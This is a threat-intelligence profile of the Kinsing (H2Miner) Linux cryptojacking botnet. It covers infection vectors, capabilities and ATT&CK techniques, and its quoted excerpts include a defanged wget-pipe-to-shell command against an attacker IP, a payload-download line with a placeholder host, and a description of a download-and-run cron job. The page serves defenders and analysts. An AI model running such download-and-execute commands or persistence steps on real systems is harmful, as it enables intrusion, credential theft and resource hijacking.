Kinsing
- Type
- Botnet
- Capabilities
- Credential theftPersistenceInitial accessLateral movementPost exploitationDefense evasionReconnaissanceScanningBrute force
- Delivery
- Exploit kit
- Platforms
- Linux
Kinsing, also tracked as H2Miner, is a Go-based Linux botnet malware family used in financially motivated cryptojacking operations active since at least 2019. It primarily compromises internet-facing Linux servers, cloud virtual machines, and container environments to deploy XMRig for Monero mining and expand its botnet. Infection vectors include unauthenticated Docker daemon APIs, exposed Redis instances with weak or absent authentication, malicious Redis modules, and exploitation of vulnerable server applications, including SaltStack.
Kinsing supports arbitrary command execution, command-output collection, payload downloading, self-updating, SOCKS proxying, reverse connections, network scanning, and Redis password brute forcing. Its supporting scripts collect SSH private keys and discover remote destinations through SSH configuration, host records, and shell histories, then reuse accessible credentials for worm-like propagation. Command-and-control communications use HTTP with encrypted tasking, while host-profiling information is transmitted in request headers. Kinsing can deploy embedded or downloaded mining payloads and restart terminated miners.
Persistence is established through recurring cron jobs and, in some variants, system services. Supporting scripts disable firewalls and mandatory access controls, remove cloud security agents, clear logs, and terminate competing miners and containers. Some deployments incorporate a modified user-mode rootkit derived from the publicly available beurk project, using shared-library preloading to conceal malicious files, processes, and network connections. Later analyzed builds also include delayed execution, debugger and virtual-environment checks, and obfuscated command-and-control configuration.
Associated vulnerabilities
34 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
22 more CVEs associated with this family tracked in Mallory.
Associated threat actors
6 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
Linux/Kinsing is a Go-written Linux bot with remote command execution, a SOCKS proxy, an on-demand backdoor, self-update, mass-scanning, Redis AUTH brute-forcing and worm-like spreading that abuses SSH keys.
Linux/Kinsing is a Go-written Linux bot with remote command execution, a SOCKS proxy, an on-demand backdoor, self-update, mass-scanning, Redis AUTH brute-forcing and worm-like spreading that abuses SSH keys.
Linux/Kinsing is a Go-written Linux bot with remote command execution, a SOCKS proxy, an on-demand backdoor, self-update, mass-scanning, Redis AUTH brute-forcing and worm-like spreading that abuses SSH keys.
Advanced botnet strains and Kinsing droppers frequently attempt to unlink dropped binary files immediately upon execution
Their ultimate purpose remains consistent: deploying Kinsing, a remote access trojan (RAT) commonly used to deliver crypto miners in compromised environments.
Most notably, TeamTNT was reported to have copied the code used to detect and remove Alibaba Cloud Security from compromised instances from the Kinsing group.
Techniques & procedures
60 distinct techniques documented for this family, organized by ATT&CK tactic.
Reconnaissance
1 technique
Reconnaissance
The threat actor scans the internet for Openfire servers ... and once a server is found, it is automatically tested if the server is vulnerable to CVE-2023-32315.
Resource Development
1 technique
Resource Development
T1608.001 Upload Malware payload on a public code-hosting site and Pastebin
Initial Access
3 techniques
Initial Access
[Kinsing](https://attack.mitre.org/software/S0599) has used valid SSH credentials to access remote hosts.(Citation: Aqua Kinsing April 2020)
[Kinsing](https://attack.mitre.org/software/S0599) was executed in an Ubuntu container deployed via an open Docker daemon API.(Citation: Aqua Kinsing April 2020)
The infection sequence initiates with the transmission of a meticulously crafted HTTP request by an attacker to a designated system employing Log4j.
Execution
10 techniques
Execution
establishes persistence by installing it across multiple layers: as a systemd service (if root), as a crontab @reboot job
T1053.003 Cron every-minute download-and-run cron entry
The server then executes the attacker’s shell command ( id , or wget , or anything ) with full Node.js privileges.
T1059.004 Unix Shell embedded and downloaded sh scripts, exec
This will then run the malicious Java code located at http://{malicious website}/{malicious.class} .
An attacker can send malicious data that executes arbitrary code on your servers before any authentication occurs.
wget -qO- hxxp://38.165.44[.]205/s | sh
Kinsing ... load[s] its rootkit in /etc/ld.so.preload.
[Kinsing](https://attack.mitre.org/software/S0599) was executed with an Ubuntu container entry point that runs shell scripts.(Citation: Aqua Kinsing April 2020)
[Kinsing](https://attack.mitre.org/software/S0599) was run through a deployed Ubuntu container.(Citation: Aqua Kinsing April 2020)
Persistence
9 techniques
Persistence
establishes persistence by installing it across multiple layers: as a systemd service (if root), as a crontab @reboot job
T1053.003 Cron every-minute download-and-run cron entry
[Kinsing](https://attack.mitre.org/software/S0599) has used valid SSH credentials to access remote hosts.(Citation: Aqua Kinsing April 2020)
[Kinsing](https://attack.mitre.org/software/S0599) was executed in an Ubuntu container deployed via an open Docker daemon API.(Citation: Aqua Kinsing April 2020)
Next, the threat actor can choose between either adding an admin user to the console ... In this campaign, the threat actor uses the vulnerability to create a new admin user
Next, the threat actor is uploading a malicious plugin that allows web shell commands on the server ... This plugin contains a Java class named cmd.jsp that is a backdoor
This plugin contains a Java class named cmd.jsp that is a backdoor which enables downloading files and executing commands on the server.
sets a systemd service for persistence, claiming to be an “Rsyslog AV Agent Service”.
System Configuration : Creates a system service configuration file for the downloaded binary.
Privilege Escalation
6 techniques
Privilege Escalation
establishes persistence by installing it across multiple layers: as a systemd service (if root), as a crontab @reboot job
T1053.003 Cron every-minute download-and-run cron entry
Furthermore, since the user is created as an admin, this grants the threat actor with elevated permissions within the system.
[Kinsing](https://attack.mitre.org/software/S0599) has used valid SSH credentials to access remote hosts.(Citation: Aqua Kinsing April 2020)
sets a systemd service for persistence, claiming to be an “Rsyslog AV Agent Service”.
System Configuration : Creates a system service configuration file for the downloaded binary.
Stealth
11 techniques
Stealth
Kinsing doubles down on its persistence and compromise by loading its rootkit in /etc/ld.so.preload, which completes a full system compromise.
T1027 Obfuscated Files or Information v31: C2 address as hex data + rotator; a71ad3: pkger hex-gzip store; Hamlet padding
T1036.005 Match Legitimate Name or Location kdevtmpfsi
attempts to hide its tracks by clearing the bash history.
attempts to clear the shell history to hide its activity.
T1070.004 File Deletion v31: the 9-digit PID temp file is deleted after reading
[Kinsing](https://attack.mitre.org/software/S0599) has used valid SSH credentials to access remote hosts.(Citation: Aqua Kinsing April 2020)
T1140 Deobfuscate/Decode Files or Information runtime decode of scripts
T1497.001 Virtualization/Sandbox Evasion: System Checks v31: virtual device, interface and clock checks and debugger checks; silent without C2 reply (author notes)
T1564.001 Hidden Files and Directories /tmp/.ICEd-unix
Kinsing ... load[s] its rootkit in /etc/ld.so.preload.
Defense Impairment
5 techniques
Defense Impairment
$WGET $DIR/kinsing http://X.X.X.X/kinsing chmod +x $DIR/kinsing
T1222.002 Linux File and Directory Permissions Modification file attributes removed from dirs
T1562.001 Disable or Modify Tools aegis/quartz/YunJing, SELinux, AppArmor
T1070.002 Clear Linux or Mac System Logs syslog file deleted
T1562.004 Disable or Modify System Firewall host firewall disabled, rules flushed
Credential Access
5 techniques
Credential Access
[Kinsing](https://attack.mitre.org/software/S0599) has attempted to brute force hosts over SSH.(Citation: Aqua Kinsing April 2020)
T1110.001 Password Guessing Redis AUTH brute
[Kinsing](https://attack.mitre.org/software/S0599) has searched <code>bash_history</code> for credentials.(Citation: Aqua Kinsing April 2020)
T1552.004 Private Keys id_rsa / *.pem harvesting
These DockerHub profiles were actively used to deploy malicious images containing the following: Rootkits Docker escape kits XMRig Monero miners Credential stealers Kinsing malware Kubernetes exploit kits
Discovery
8 techniques
Discovery
Earth Lusca used the command powershell "Get-EventLog -LogName security -Newest 500 | where {$_.EventID -eq 4624} | format-list - property * | findstr "Address"" to find the network information of successfully logged-in accounts to discovery addresses of other machines.
T1018 Remote System Discovery known_hosts, bash_history, /etc/hosts
T1046 Network Service Discovery masscan wrapper
Kinsing actively looks for competing cryptocurrency miners ... in processes, crontabs, and active network connections. It then proceeds to kill their processes and network connections.
[Kinsing](https://attack.mitre.org/software/S0599) has used ps to list processes.(Citation: Aqua Kinsing April 2020)
T1082 System Information Discovery Arch/Cores/Mem/Os headers
[Kinsing](https://attack.mitre.org/software/S0599) has used the find command to search for specific files.(Citation: Aqua Kinsing April 2020)
T1497.001 Virtualization/Sandbox Evasion: System Checks v31: virtual device, interface and clock checks and debugger checks; silent without C2 reply (author notes)
Lateral Movement
4 techniques
Lateral Movement
"used compromised credentials to log on to other systems"; "used compromised credentials to access other systems on a victim network"; "used valid SSH credentials to access remote hosts"
T1021.004 SSH spreader loop with harvested keys
the exposure of these cloud services ... allows remote code execution (RCE) on the cluster. Unfortunately, threat actors have been actively exploiting these services for years.
Once these services are identified, the threat actors try to deploy their payload.
Command and Control
5 techniques
Command and Control
T1071.001 Web Protocols HTTP :80
T1090 Proxy SOCKS5
T1105 Ingress Tool Transfer self-update ( UpdateCommand ) and download_and_exec
T1571 Non-Standard Port backdoor port, stratum on :80
T1573.002 Asymmetric Cryptography RSA tasking
Impact
4 techniques
Impact
The script then continues to kill several running processes such as SSH service, htop and others.
T1496 Resource Hijacking XMRig 5.5.0
[Kinsing](https://attack.mitre.org/software/S0599) has created and run a Bitcoin cryptocurrency miner.(Citation: Aqua Kinsing April 2020)(Citation: Sysdig Kinsing November 2020)
the initial phase saw attackers trying to kill off competing malware, security products, and other cloud middleware.
Observables
512 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
116 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.